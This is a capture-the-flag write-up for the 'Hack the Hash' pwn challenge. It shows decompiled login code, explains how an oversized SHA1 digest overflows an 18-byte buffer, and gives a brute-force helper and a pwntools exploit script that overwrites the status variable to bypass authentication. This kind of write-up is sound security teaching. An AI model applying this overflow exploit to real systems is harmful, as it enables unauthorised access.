Rating:

We were given a binary and three libraries file.

Let’s take a look at the decompiled binary code below

```
int __cdecl sub_123D(char *a1, void *s)
{
size_t v2; // eax

memset(s, 0, 4u);
v2 = strlen(a1);
return SHA1(a1, v2 - 1, s);
}

_BOOL4 __cdecl compare_hash__sub_128A(char *s1, int a2)
{
size_t v2; // eax
char s[41]; // [esp+3h] [ebp-35h] BYREF
int i; // [esp+2Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
for ( i = 0; i <= 19; ++i )
sprintf(&s[2 * i], "%02x", *(unsigned __int8 *)(i + a2));
v2 = strlen(s1);
return strncmp(s1, s, v2 - 1) == 0;
}

_BOOL4 __cdecl login__sub_1329(char *s1, char *a2)
{
size_t v2; // eax
char s[18]; // [esp+Ah] [ebp-1Eh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
v5 = 0x1337;
hash_pass__sub_123D(a2, s);
v2 = strlen(s1);
if ( !strncmp(s1, "gehaxelt", v2 - 1) )
{
puts("Gehaxelt is not allowed to authenticate!");
}
else if ( compare_hash__sub_128A("9784b18945d230d853e9a999921dcb2656a291ce", (int)s) )
{
v5 = 0;
}
return v5 == 0;
}

int __cdecl main__sub_13D6(int a1)
{
char v2[128]; // [esp+0h] [ebp-18Ch] BYREF
char buf[128]; // [esp+80h] [ebp-10Ch] BYREF
char s[128]; // [esp+100h] [ebp-8Ch] BYREF
FILE *stream; // [esp+180h] [ebp-Ch]
int *v6; // [esp+184h] [ebp-8h]

v6 = &a1;
setbuf(stdout, 0);
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
puts("Someone blocked @gehaxelt from logging in to this super secure system!");
puts("But somehow, he still manages to get in... how?!?!");
printf("Username: ");
read(0, s, 128u);
printf("Password: ");
read(0, buf, 128u);
if ( login__sub_1329(s, buf) )
{
stream = fopen("flag.txt", "r");
fgets(v2, 128, stream);
fclose(stream);
puts("Access granted!");
printf("Flag: %s\n", v2);
}
else
{
puts("Access denied!");
}
return 0;
}
```

The program will ask the user to input a username and password. Then it will hash the password using the SHA1 Hash Algorithm. The SHA1() function requires three parameters: arg1 is a pointer where the string to be hashed is stored, arg2 is the size/length of the string in arg1, and arg3 is a pointer where the hash result will be stored. The SHA1() function hashes the password entered by the user, producing a 20-byte hash, which is stored in the hashed_password variable within the `login__sub_1329` function. Notably, the hashed_password variable can only hold data up to 18 bytes, while the data stored is 20 bytes, creating a 2-byte buffer overflow vulnerability that can be exploited to overwrite the value of the status variable.

What we need to do is find a string that, when it hashed with SHA1, results in two trailing null bytes. The purpose is to allow these two null bytes to overwrite the value of the status variable, which originally holds the value 0x1337, and change it to 0.

helper.py:

```
import hashlib
import os

while True:
data = bytearray(os.urandom(32)) # Generate random data
sha1_hash = hashlib.sha1(data).digest()
if sha1_hash[-2:] == b'\x00\x00':
print("Generated data:", data)
print("SHA-1 hash:", sha1_hash)
break
```

Solver:

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/hackthehash"
TARGET = DIR + EXECUTABLE
HOST, PORT = "52.59.124.14", 10100
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
arch=["i386", "amd64", "aarch64"][1],
endian="little",
os="linux",
log_level = ['debug', 'info', 'warn'][2],
terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
if LOCAL==True:
#raw_input("Fire GDB!")
if len(sys.argv) > 1 and sys.argv[1] == "d":
choosen_gdb = [
"source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg
"source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda
"source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef
][0]
cmd = choosen_gdb + """
b *$rebase(0x127c)
"""
gdb.attach(io, gdbscript=cmd)

# === Username
p = b""
p += b"Vaints"
p = p.ljust(128, b"\x00")
io.sendafter(b": ", p)

# === Password
p = b""
# result of helper.py
p += b'`\xbc\x0b\x99\x12h\xbd@Cg\xdc\xe1\xb5;\x94\x91\xce\xb1 @\xf1\t\x8b\x97@\xb5\x8c\xd8\x15\xe6\xa2-'

# dummy, but necessary to increase the string length by one.
# because the length of the string will be substracted by 1,
# right before calling the SHA1() function.
p += b"A"

p = p.ljust(128, b"\x00")
io.sendafter(b": ", p)

io.interactive()

if __name__ == "__main__":
io, libc = null, null

if args.REMOTE:
REMOTE = True
io = remote(HOST, PORT)
# libc = ELF("___")

else:
LOCAL = True
io = process(
[TARGET, ],
env={
# "LD_PRELOAD":DIR+"/___",
# "LD_LIBRARY_PATH":DIR+"/___",
},
)
# libc = ELF("___")
exploit(io, libc)
```

Original writeup (https://hackmd.io/@vidner/nullcon-sksd#Hack-the-Hash-pwn).